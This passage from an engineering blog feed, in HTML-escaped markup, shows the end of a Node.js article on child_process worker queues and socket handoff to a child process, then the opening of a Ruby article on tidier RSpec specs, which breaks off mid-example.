&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  readyWorkers.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./worker.js&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Schedule 5 jobs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; i &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; i &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;; i&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;++&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  scheduleJob&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;square&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, [i], &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;i&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}^2 = ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;result&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// worker.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, ({ &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;args&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  switch&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (command) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  case&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;square&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(args[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;**&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  default&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;error&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Child received an unknown message: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;command&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    break&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ node scheduler.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Forking a worker...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;Forking a worker...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 1, workers ready: 2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 1, workers ready: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 1, workers ready: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 2, workers ready: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 3, workers ready: 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;1^2 = 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 3, workers ready: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;2^2 = 4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 2, workers ready: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;3^2 = 9&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 1, workers ready: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;4^2 = 16&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 0, workers ready: 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;0^2 = 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;work left: 0, workers ready: 2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now you have the building blocks for an in-process queueing system! There&apos;s a little bit more to do -- handling errors, restarting crashed child processes, killing stuck workers, and so on -- but this is a good start.&lt;/p&gt;
&lt;h2&gt;Connecting directly to the child&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;send&lt;/code&gt;, the function you use to send messages to a child process, has a second parameter: &lt;code&gt;sendHandle&lt;/code&gt;. What is &lt;code&gt;sendHandle&lt;/code&gt; for?&lt;/p&gt;
&lt;p&gt;Let&apos;s say you have a browser, and it makes a WebSocket connection to your Node process by sending an &lt;code&gt;upgrade&lt;/code&gt; request:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// parent.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;server.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;upgrade&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;upgrade&lt;/code&gt; handler is given a &lt;code&gt;socket&lt;/code&gt; parameter. You can pass that socket to your child process, which finishes the WebSocket handshake:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// parent.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;server.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;upgrade&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      type: &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;connection&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      request: { request.headers, request.method, request.url },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      head&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    socket&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// child.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; WebSocket&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;ws&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;wss &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; WebSocket.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Server&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ noServer: &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(({ &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;request&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;head&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;sendHandle&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  wss.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;handleUpgrade&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(request, sendHandle, head, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;ws&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // ... add WebSocket listeners...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once that connection is made, any data sent over that socket will go to the child process instead of the parent process. This means you won&apos;t have to forward any other messages from the parent to the child process, and the child process can handle the rest of the communication on its own.&lt;/p&gt;
&lt;p&gt;Theoretically, you can also do this with web requests. But I haven&apos;t found it as useful. You&apos;re only handed a socket during the very beginning of the web connection. That&apos;s too early to route it to the right child based on path or parameters.&lt;/p&gt;
&lt;h2&gt;What are the alternatives?&lt;/h2&gt;
&lt;p&gt;If you&apos;ve already gone full microservice, you&apos;d probably split this kind of code into completely separate apps. But there&apos;s something nice about only having a single app to think about, having a JavaScript-ish API to send work and handle results, and not having to worry as much about deployment and inter-app communication.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;child_process&lt;/code&gt; isn&apos;t the only way to pass messages between a cluster of Node processes. The built-in &lt;a href=&quot;https://nodejs.org/api/cluster.html#cluster_cluster&quot;&gt;cluster&lt;/a&gt; API will create pools of workers that all share a single HTTP server and distribute connections. &lt;a href=&quot;https://pm2.io/&quot;&gt;PM2&lt;/a&gt; is a larger and more advanced library with a lot of extra process management features.&lt;/p&gt;
&lt;p&gt;But if you just have a little bit of synchronous or dangerous work, and you want to keep your main Node server up and responsive, try &lt;code&gt;child_process&lt;/code&gt;. It&apos;s easy to start with and easy to grow into more.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Use `with` and `describe_instance_method`]]></title><description><![CDATA[Want specs that look like this? Read on. Like most of America, lately I've been trying Marie Kondo's method of tidying up around my house…]]></description><link>https://www.aha.io/engineering/articles/make-your-specs-spark-joy</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/make-your-specs-spark-joy</guid><dc:creator><![CDATA[Alex Bartlow]]></dc:creator><pubDate>Mon, 29 Apr 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Want specs that look like this? Read on.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;describe &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ServiceObjectUnderTest&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  describe_instance_method &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:a_long_and_descriptive_method&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    method_parameters(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:subscription_class&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:value&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    with &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;subscription_class:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :enterprise&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 10&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;8&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    with &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;subscription_class:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :enterprise_plus&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      with(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;value:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).it { is_expected.to eq(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Like most of America, lately I&apos;ve been trying Marie Kondo&apos;s method of tidying up around my house. Around the Aha! codebase, I&apos;ve likewise been trying to get my specs to spark joy.
This week, I was working on some code that looked something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ServiceObjectUnderTest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # Obviously oversimplified and contrived logic. Not the point of this exercise&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; a_long_and_descriptive_method&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(subscription_class, value)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; subscription_class &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; :enterprise_plus&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      value&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      value &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 10&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I was hacking some specs together for it, and came up with something like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;./service&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;describe &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;ServiceObjectUnderTest&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  describe &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;.a_long_and_descriptive_method&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    it &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;returns modulo when not E+&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      expect(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;        described_class.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.a_long_and_descriptive_method(&lt;/span&gt;&lt;/span&gt;
